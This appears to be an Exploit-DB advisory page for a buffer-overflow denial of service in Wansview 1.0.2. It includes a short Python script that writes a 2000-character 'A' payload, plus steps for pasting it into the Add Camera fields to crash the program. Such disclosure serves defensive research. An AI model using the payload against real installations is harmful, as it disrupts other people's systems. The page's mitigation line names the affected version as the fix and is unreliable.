header-logo
Suggest Exploit
vendor:
Wansview
by:
Gionathan Reale
7.8
CVSS
HIGH
Denial of Service
119
CWE
Product Name: Wansview
Affected Version From: 1.0.2
Affected Version To: 1.0.2
Patch Exists: YES
Related CWE: N/A
CPE: a:wansview:wansview:1.0.2
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10
2018

Wansview 1.0.2 – Denial of Service (PoC)

A buffer overflow vulnerability exists in Wansview 1.0.2 which can be exploited by malicious people to cause a DoS (Denial of Service). The vulnerability is caused due to a boundary error when handling specially crafted input. This can be exploited to cause a stack-based buffer overflow via an overly long, specially crafted input passed to the affected application. Successful exploitation of this vulnerability may allow execution of arbitrary code.

Mitigation:

Upgrade to the latest version of Wansview 1.0.2
Source

Exploit-DB raw data:

# Exploit Title: Wansview 1.0.2 - Denial of Service (PoC)  
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-14
# Software Link: http://www.wansview.com/uploads/soft/Wansview_v1.0.2.exe
# Tested Version: 1.0.2
# Tested on OS: Windows 10
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the Wansview program. Now click "Add Camera" and in the new 
# window paste the content of "exploit.txt" into the following fields:
# "Camera name" & "DID number". Click "Add" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 2000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"